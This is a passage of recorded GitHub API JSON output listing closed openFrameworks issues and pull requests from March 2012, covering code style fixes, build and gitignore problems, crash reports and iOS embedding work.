Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1078,"id":3680047,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1077","html_url":"https://github.com/openframeworks/openFrameworks/issues/1077","body":"now the ofMesh can be rendered using quads, quads strips or polygon","closed_at":"2012-03-16T15:07:05Z","labels":[],"title":"added GL_QUADS GL_QUAD_STRIP and GL_POLYGON to the OF_PRIMITIVES.","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1077.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1077","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1077.diff"},"created_at":"2012-03-16T05:16:13Z","updated_at":"2012-03-16T15:07:05Z","comments":6,"milestone":null,"number":1077,"id":3677810,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1076","html_url":"https://github.com/openframeworks/openFrameworks/issues/1076","body":"Hi!\r\n\r\nSomething's not working with the gitignore structure currently.\r\nFor example, after compiling the project explorer (just say `make` in its directory) I get the following untracked files:\r\n\r\n\t\t# Untracked files:\r\n\t\t# (use \"git add ...\" to include in what will be committed)\r\n\t\t#\r\n\t\t#\tapps/devApps/projectGenerator/bin/libs/\r\n\t\t#\tapps/devApps/projectGenerator/bin/projectGenerator\r\n\t\t#\tapps/devApps/projectGenerator/obj/\r\n\r\nI think other things are not being correctly ignored in the examples, but could not repro, see below.\r\n\r\nAlso, I just tried to generate the examples, but the PG segfaults on me (but that's probably because it's a moving target currently.\r\n\r\nSorry for the sloppy reporting, I'm in a hurry but wanted to get this out there. Will try to get more detail/better reporting tomorrow, or close this again if appropriate.\r\n\r\n\r\n","closed_at":"2012-03-16T20:18:47Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"gitignore structure has some holes, project generator segfaults","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-15T22:15:46Z","updated_at":"2012-03-17T02:36:16Z","comments":16,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1076,"id":3674441,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1074","html_url":"https://github.com/openframeworks/openFrameworks/issues/1074","body":"Apply fixed code style to the OSC and logging examples.","closed_at":"2012-03-15T15:05:47Z","labels":[],"title":"bb examples codestyle cleanup","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1074.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1074","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1074.diff"},"created_at":"2012-03-14T22:43:26Z","updated_at":"2012-03-15T15:05:47Z","comments":4,"milestone":null,"number":1074,"id":3658004,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1073","html_url":"https://github.com/openframeworks/openFrameworks/issues/1073","body":"I fixed the bugs in #1072 manually now. UniversalIndentGUI export seems to be messed up somehow, and the config is just a text file. Style conversion output looks good, the bugs in #1072 are fixed.","closed_at":"2012-03-15T08:42:05Z","labels":[],"title":"Codestyle fixes","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1073.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1073","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1073.diff"},"created_at":"2012-03-14T22:32:04Z","updated_at":"2012-03-15T08:42:05Z","comments":1,"milestone":null,"number":1073,"id":3657847,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1072","html_url":"https://github.com/openframeworks/openFrameworks/issues/1072","body":"I found some bugs in the current uncrustify code style. I tried to fix them using universal indent GUI, but on saving I made a diff of the old and new config files, and there was more in there than I expected (and imho unrelated to the changes I made). \r\nProbably a version problem? UnivIndGUI 1.1.0, uncrustify 0.57\r\n\r\nAnyway, the bugs are the following, demonstrated by diffs I got from running the code style over some of my examples:\r\n\r\nEmpty function bodies are collapsed (don't know if this is actually desired):\r\n\r\n```c++\r\n-void testApp::gotMessage(ofMessage msg){\r\n-\r\n-}\r\n+void testApp::gotMessage(ofMessage msg){}\r\n```\r\nBraces after an else if line are moved to the next line:\r\n\r\n```c++\r\n-\t\telse if(m.getArgType(i) == OFXOSC_TYPE_FLOAT){\r\n+\t\telse if(m.getArgType(i) == OFXOSC_TYPE_FLOAT)\r\n+\t\t{\r\n```\r\n\r\nVariable name alignment is not removed:\r\n\r\n```c++\r\n-\t\tofTrueTypeFont\t\tfont;\r\n-\t\tofxOscReceiver\treceiver;\r\n+\t\tofTrueTypeFont font;\r\n+\t\tofxOscReceiver receiver;\r\n```\r\n\r\n\r\nThe options I changed to fix this were:\r\n\r\n* Deactivate Nl Collapse Empty Body to preserve empty function bodies in testapp.cpp files.\r\n* Set Remove Nl Elseif Brace.\r\n* Disable Add Space after Type rule to remove variable name alignment. (Don't know 100% about this, since setting it to Remove also looks correct)\r\n\r\n@danomatika, could you take a look?","closed_at":"2012-04-10T13:03:21Z","labels":[],"title":"code style config file bugs","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-14T19:22:15Z","updated_at":"2012-04-10T13:03:21Z","comments":11,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1072,"id":3654585,"assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1071","html_url":"https://github.com/openframeworks/openFrameworks/issues/1071","body":"@ofTheo requested that everyone look over their contributed examples before 0071 is released, and make sure they conform to https://github.com/openframeworks/openFrameworks/wiki/oF-code-style","closed_at":"2012-04-09T16:54:16Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","color":"d1af26","name":"example"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"examples should match the OF code style guidelines","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-14T15:19:09Z","updated_at":"2012-04-09T16:54:16Z","comments":15,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":1071,"id":3650044,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1069","html_url":"https://github.com/openframeworks/openFrameworks/issues/1069","body":"Fix a capitalisation error introduced in 6aa9d1037ed2 - the path is `openFrameworks/libs/poco/include/Poco` not `openFrameworks/libs/poco/include/poco`. \r\nOF does not build on my linux machine without this, but builds without problems after the fix. I was kinda surprised that nobody caught/encountered this yet...","closed_at":"2012-03-13T21:10:27Z","labels":[],"title":"Fix poco include","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1069.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1069","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1069.diff"},"created_at":"2012-03-13T20:54:52Z","updated_at":"2012-03-13T21:10:27Z","comments":0,"milestone":null,"number":1069,"id":3638151,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1067","html_url":"https://github.com/openframeworks/openFrameworks/issues/1067","body":"a bug in deserialization of ofMatrix4x4","closed_at":"2012-03-13T14:19:14Z","labels":[],"title":"Update libs/openFrameworks/math/ofMatrix4x4.h","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1067.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1067","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1067.diff"},"created_at":"2012-03-13T13:58:38Z","updated_at":"2012-03-13T14:19:14Z","comments":3,"milestone":null,"number":1067,"id":3629561,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/roikr","gravatar_id":"b2e9245374200fd517b978805af456bb","login":"roikr","avatar_url":"https://secure.gravatar.com/avatar/b2e9245374200fd517b978805af456bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":210179}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1066","html_url":"https://github.com/openframeworks/openFrameworks/issues/1066","body":"Hi,\r\n\r\nLoading a JPG or PNG with a resolution of 1280x576 crashes the application (EXC_BAD_ACCESS)\r\nYou can test it yourself by loading an image with a size of 1280x576 pixels 72 DPI in the standard imageLoaderExample. I thought it had something to do with the aspect ratio, but it looks like it doesn't. Loading an image half the size 640x288 gives me the same error but loading an image quarter size (320x144) works perfect. \r\nOS -> Mac (Lion)\r\nOF -> of_preRelease_v007_osx\r\n\r\nHarm","closed_at":"2012-03-13T13:56:04Z","labels":[],"title":"ofImage loadImage() crash at a certain sizes (1280x576) ","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-03-13T13:50:46Z","updated_at":"2012-03-13T14:07:39Z","comments":2,"milestone":null,"number":1066,"id":3629436,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/harmvandeven","gravatar_id":"3d1fbd62d2c7c56ad4e144407f0d057d","login":"harmvandeven","avatar_url":"https://secure.gravatar.com/avatar/3d1fbd62d2c7c56ad4e144407f0d057d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":817338}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1065","html_url":"https://github.com/openframeworks/openFrameworks/issues/1065","body":"a bug with \r\ninline istream& operator>>(istream& is, ofMatrix4x4& M)","closed_at":"2012-03-13T14:00:59Z","labels":[],"title":"Update libs/openFrameworks/math/ofMatrix4x4.h","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1065.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1065","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1065.diff"},"created_at":"2012-03-13T13:22:32Z","updated_at":"2012-03-13T14:00:59Z","comments":6,"milestone":null,"number":1065,"id":3629063,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/roikr","gravatar_id":"b2e9245374200fd517b978805af456bb","login":"roikr","avatar_url":"https://secure.gravatar.com/avatar/b2e9245374200fd517b978805af456bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":210179}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1064","html_url":"https://github.com/openframeworks/openFrameworks/issues/1064","body":"fixes #567","closed_at":"2012-03-13T12:53:19Z","labels":[],"title":"bugfix 567 - fixed numTouches in touchesBegan","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1064.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1064","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1064.diff"},"created_at":"2012-03-13T12:52:41Z","updated_at":"2012-03-13T12:53:19Z","comments":0,"milestone":null,"number":1064,"id":3628625,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1061","html_url":"https://github.com/openframeworks/openFrameworks/issues/1061","body":"affects ofFbo, ofMatrix3x3; doesn't address outstanding MRT considerations","closed_at":"2012-03-12T16:22:06Z","labels":[],"title":"fixes a few return type errors that were caught in vs","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1061.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1061","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1061.diff"},"created_at":"2012-03-12T16:18:46Z","updated_at":"2012-03-12T16:35:27Z","comments":2,"milestone":null,"number":1061,"id":3613994,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1060","html_url":"https://github.com/openframeworks/openFrameworks/issues/1060","body":"fixes #683","closed_at":"2012-03-12T13:06:34Z","labels":[],"title":"bugfix 683 iPhoneGuiExample","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1060.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1060","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1060.diff"},"created_at":"2012-03-12T13:03:30Z","updated_at":"2012-03-12T13:06:34Z","comments":0,"milestone":null,"number":1060,"id":3610582,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '39063'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"fdba8110fdafd1567d86fdfe2d8eb3ac"'), ('date', 'Tue, 29 May 2012 18:46:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-12T15:01:00Z","body":"just noticed in ofSaveImage there is a default argument which sets the format ( the default being .png ) \r\nwondering why we have this argument when previous behavior was to determine format from extension? \r\n\r\nI only noticed it as it was polluting the auto complete for:\r\nOF_IMAGE_COLOR\r\nOF_IMAGE_COLOR_ALPHA\r\nOF_IMAGE_GRAYSCALE\r\n\r\nenum ofImageFormat {\r\n\tOF_IMAGE_FORMAT_BMP\t\t= 0,\r\n\tOF_IMAGE_FORMAT_ICO\t\t= 1,\r\n\tOF_IMAGE_FORMAT_JPEG\t= 2,\r\n\tOF_IMAGE_FORMAT_JNG\t\t= 3,\r\n\tOF_IMAGE_FORMAT_KOALA\t= 4,\r\n\tOF_IMAGE_FORMAT_LBM\t\t= 5,\r\n\tOF_IMAGE_FORMAT_IFF = OF_IMAGE_FORMAT_LBM,\r\n\tOF_IMAGE_FORMAT_MNG\t\t= 6,\r\n\tOF_IMAGE_FORMAT_PBM\t\t= 7,\r\n\tOF_IMAGE_FORMAT_PBMRAW\t= 8,\r\n\tOF_IMAGE_FORMAT_PCD\t\t= 9,\r\n\tOF_IMAGE_FORMAT_PCX\t\t= 10,\r\n\tOF_IMAGE_FORMAT_PGM\t\t= 11,\r\n\tOF_IMAGE_FORMAT_PGMRAW\t= 12,\r\n\tOF_IMAGE_FORMAT_PNG\t\t= 13,\r\n\tOF_IMAGE_FORMAT_PPM\t\t= 14,\r\n\tOF_IMAGE_FORMAT_PPMRAW\t= 15,\r\n\tOF_IMAGE_FORMAT_RAS\t\t= 16,\r\n\tOF_IMAGE_FORMAT_TARGA\t= 17,\r\n\tOF_IMAGE_FORMAT_TIFF\t= 18,\r\n\tOF_IMAGE_FORMAT_WBMP\t= 19,\r\n\tOF_IMAGE_FORMAT_PSD\t\t= 20,\r\n\tOF_IMAGE_FORMAT_CUT\t\t= 21,\r\n\tOF_IMAGE_FORMAT_XBM\t\t= 22,\r\n\tOF_IMAGE_FORMAT_XPM\t\t= 23,\r\n\tOF_IMAGE_FORMAT_DDS\t\t= 24,\r\n\tOF_IMAGE_FORMAT_GIF = 25,\r\n\tOF_IMAGE_FORMAT_HDR\t\t= 26,\r\n\tOF_IMAGE_FORMAT_FAXG3\t= 27,\r\n\tOF_IMAGE_FORMAT_SGI\t\t= 28,\r\n\tOF_IMAGE_FORMAT_EXR\t\t= 29,\r\n\tOF_IMAGE_FORMAT_J2K\t\t= 30,\r\n\tOF_IMAGE_FORMAT_JP2\t\t= 31,\r\n\tOF_IMAGE_FORMAT_PFM\t\t= 32,\r\n\tOF_IMAGE_FORMAT_PICT\t= 33,\r\n\tOF_IMAGE_FORMAT_RAW\t\t= 34\r\n};","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1059","comments":2,"milestone":null,"number":1059,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1059","assignee":null,"title":"what is the purpose of ofImageFormat enum ? ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":"2012-03-12T15:01:00Z","created_at":"2012-03-12T12:45:37Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3610389,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T16:40:38Z","body":"previously logged as PR #1004\r\nfixes #1057","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1058","comments":0,"milestone":null,"number":1058,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1058","assignee":null,"title":"support for new low-power GPS feature","labels":[],"closed_at":"2012-03-17T16:40:38Z","created_at":"2012-03-12T12:34:34Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3610287,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1058.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1058","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1058.patch"}},{"updated_at":"2012-03-22T03:01:51Z","body":"add power-saving way to track general location when a GPS lock isn't needed.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1057","comments":1,"milestone":null,"number":1057,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1057","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"support for new low-power GPS feature","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-22T03:01:51Z","created_at":"2012-03-12T12:23:24Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3610189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:55:12Z","body":"ofMatrix3x3::entrywiseTimes' : missing return value with vs2010 at the moment,thxs","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1056","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1056,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1056","assignee":null,"title":"ofMatrix3x3::entrywiseTimes missing return value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":"2012-03-12T16:55:12Z","created_at":"2012-03-12T05:00:28Z","state":"closed","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","id":51957,"avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3606284,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-11T22:52:34Z","body":"hi, im getting a crash when trying to generate ios projects.\r\nits happening when trying to replace the PROJECTNAME inside the findandreplaceInTexfile() method.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1054","comments":2,"milestone":null,"number":1054,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1054","assignee":null,"title":"projectGenerator crash when generating ios projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-03-11T13:21:55Z","created_at":"2012-03-11T09:30:39Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3600155,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-11T12:56:39Z","body":"ive merged ofxiOS into ofxiPhone.\r\n\r\nOF apps can now be embedded inside native ios apps.\r\nadded iosNativeExample to demonstrate/test this functionality.\r\n\r\nfixes #1049","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1053","comments":2,"milestone":null,"number":1053,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1053","assignee":null,"title":"merge ofxiOS into ofxiPhone","labels":[],"closed_at":"2012-03-11T12:56:39Z","created_at":"2012-03-11T01:33:38Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3598709,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1053.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1053","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1053.patch"}},{"updated_at":"2012-03-11T15:24:35Z","body":"ofxiOS allows to embed OF apps at different levels in the iPhone application structure.\r\n\r\nhttps://github.com/julapy/ofxiOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1049","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 